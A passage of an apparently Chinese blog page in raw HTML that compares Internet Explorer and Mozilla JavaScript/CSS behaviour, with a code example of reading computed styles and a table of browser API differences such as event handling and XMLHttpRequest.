document.getElementById('_41_75_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_41_75_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_41_75_Closed_Text').style.display='none'; document.getElementById('_41_75_Open_Image').style.display='inline'; document.getElementById('_41_75_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top>#test</span><span id=_41_75_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span><span id=_41_75_Open_Text><span style="COLOR: #000000">{width:100px;background</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">color:red;}</span></span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">script</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img id=_119_361_Open_Image onclick="this.style.display='none'; document.getElementById('_119_361_Open_Text').style.display='none'; document.getElementById('_119_361_Closed_Image').style.display='inline'; document.getElementById('_119_361_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_119_361_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_119_361_Closed_Text').style.display='none'; document.getElementById('_119_361_Open_Image').style.display='inline'; document.getElementById('_119_361_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top>window.onload</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">()</span><span id=_119_361_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span><span id=_119_361_Open_Text><span style="COLOR: #000000">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;t</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">document.getElementById(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">test</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;ts</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">t.currentStyle;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>t.innerHTML</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.width:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.width</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br&nbsp;/&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.backgroundColor:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.backgroundColor</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br&nbsp;/&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.color:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.color</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br&nbsp;/&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.paddingLeft:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.paddingLeft<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">script</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">div&nbsp;id</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">test</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;style</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">color:yellow;padding-left:100px;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">div</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><strong style="COLOR: black; BACKGROUND-COLOR: #ffff66">FF</strong>&nbsp;Only:<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img id=_475_509_Open_Image onclick="this.style.display='none'; document.getElementById('_475_509_Open_Text').style.display='none'; document.getElementById('_475_509_Closed_Image').style.display='inline'; document.getElementById('_475_509_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_475_509_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_475_509_Closed_Text').style.display='none'; document.getElementById('_475_509_Open_Image').style.display='inline'; document.getElementById('_475_509_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top>#test</span><span id=_475_509_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span><span id=_475_509_Open_Text><span style="COLOR: #000000">{width:100px;background</span><span style="COLOR: #000000">-</span><span style="COLOR: #000000">color:red;}</span></span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">style</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">script</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img id=_553_827_Open_Image onclick="this.style.display='none'; document.getElementById('_553_827_Open_Text').style.display='none'; document.getElementById('_553_827_Closed_Image').style.display='inline'; document.getElementById('_553_827_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_553_827_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_553_827_Closed_Text').style.display='none'; document.getElementById('_553_827_Open_Image').style.display='inline'; document.getElementById('_553_827_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top>window.onload</span><span style="COLOR: #000000">=</span><span style="COLOR: #0000ff">function</span><span style="COLOR: #000000">()</span><span id=_553_827_Closed_Text style="BORDER-RIGHT: #808080 1px solid; BORDER-TOP: #808080 1px solid; DISPLAY: none; BORDER-LEFT: #808080 1px solid; BORDER-BOTTOM: #808080 1px solid; BACKGROUND-COLOR: #ffffff">...</span><span id=_553_827_Open_Text><span style="COLOR: #000000">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;t</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">document.getElementById(</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">test</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">&nbsp;ts</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">document.defaultView.getComputedStyle(t,&nbsp;</span><span style="COLOR: #0000ff">null</span><span style="COLOR: #000000">);<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>t.innerHTML</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.width:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.width</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br&nbsp;/&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.backgroundColor:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.backgroundColor</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br&nbsp;/&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.color:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.color</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&lt;br&nbsp;/&gt;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top></span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">t.style.paddingLeft:</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">ts.paddingLeft<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">script</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">div&nbsp;id</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">test</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&nbsp;style</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">color:yellow;padding-left:100px;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">div</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&lt;/</span><span style="COLOR: #000000">body</span><span style="COLOR: #000000">&gt;</span></div>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>
<table cellSpacing=0 cellPadding=10 width=770 border=1>
    <tbody>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>IE</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>Mozilla</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>说明</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>document.body.clientHeight(clientWidth)根据HTML<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>DTD而定方能得到准确值。</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>window.innerHeight(innerWidth)根据HTML<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>DTD而定方能得到准确值。</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>opacity(aplha=20)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>MozOpacity="0.2"</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.clientY(clientX)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.pageY(pageX)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.keyCode</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.which</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.srcElement</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.target</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>window.external.AddFavorite('never-online.net', "never-online'website"); </td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>window.sidebar.addPanel('never-online.net', "never-online'website", "");</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>此为添加到收藏夹代码，要兼容更多<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>浏览器，请看<a href="http://blog.never-online.net/article.asp?id=108" target=_blank><u><font color=#0000ff>这里</font><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong><font color=#0000ff>代码</font></u></a></td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>(DHTML事件-滚轮事件)onmousewheel</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>DOMMouseScroll</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle><a href="http://blog.never-online.net/article.asp?id=67" target=_blank><u><font color=#0000ff>可参看我</font><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong><font color=#0000ff>blog这篇文章</font></u></a></td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>window.showModalDialog</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>window.open(url, "name", "modal=yes")</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>createPopup()</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>xul</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>htc控件</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>xbl绑定</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>filter滤镜</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>只支持alpha（透明度，部分可通过clip来模拟）</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>obj.setCapture()</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>window.captureEvents(Event.eventType)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>obj.attachEvent(type, listener)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>obj.addEventListener(type, listener, useCapture)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>添加事件<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>方法，如果要兼容，有几种方法，如用Mozilla<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>读写器来模拟IE<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>方法，或者用一个全局函数addEvent(type, listener, useCapture)来统一事件处理，或者写一个Event Manager更好一些，也可以在这里统一避免<a href="http://blog.never-online.net/article.asp?id=105" target=_blank><u><font color=#0000ff>内存泄露</font></u></a></td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>obj.detachEvent(type, listener)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>obj.removeEventListener(type, listener, useCapture)</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>一般情况下，用了attachEvent(addEventListener)方法，最好在beforeunload事件里用detach方法释放掉，这是个好习惯（偷懒<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>话就不说了:D）</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>支持Webdings字体</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>不支持Webdings字体</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>insertAdjacentHTML, insertAdjacentElement方法</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>本身不支持，但可通过insertBefore或通过Range实现</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>不支持</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>读写器__defineSetter(Getter)__</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>不支持</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>支持对Element，EVENT等对象<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>prototype模式支持</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>不支持</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>对节点有nodeType常量属性</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>new ActiveXObject("MSXML2.XMLHTTP")或更高版本<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>ProgId</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>XMLHttpRequest对象</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>设置类似style.top=20这样<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>高度时，可不使用单位</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>设置类似style.top=20+'px'这样<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>高度时，必须使用单位，否则无效</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>CSS<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>类名，不区分大小写（大小写不敏感）</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>CSS<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong>类名，区分大小写（大小写敏感）如：.myCss和.mycss类名就是不相同<strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong></td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>冒泡事件event.cancelBubble=true</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>event.stopPropagation()（需要传递event事件）</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>&nbsp;</td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>CSS padding宽度并不在offset偏移坐标之内</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>CSS padding宽度默认是在offset偏移坐标之内，可用-moz-box-sizing:border-box来设置即可基本与IE相同</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle><a href="http://www.never-online.net/reference/Mozilla%20CSS/box-sizing.html" target=_blank><u><font color=#0000ff>可参见我这篇文章</font><strong style="COLOR: black; BACKGROUND-COLOR: #99ff99">的</strong><font color=#0000ff>代码</font></u></a></td>
        </tr>
        <tr>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>js动态加载xslt文件将xml转化成HTML，IE可用xmldoc.transformNode(xslDocument)方法</td>
            <td style="FONT-SIZE: 12pt; FONT-FAMILY: Tahoma; BACKGROUND-COLOR: #ffffff" vAlign=center align=middle>Mozilla<strong style="COLOR: black; BACKGROUND-COLOR: #a0ffff">中</strong>相对麻烦一些，要经过几道工序XSLTProcessor对象,transformToFragment或其它方法</td>
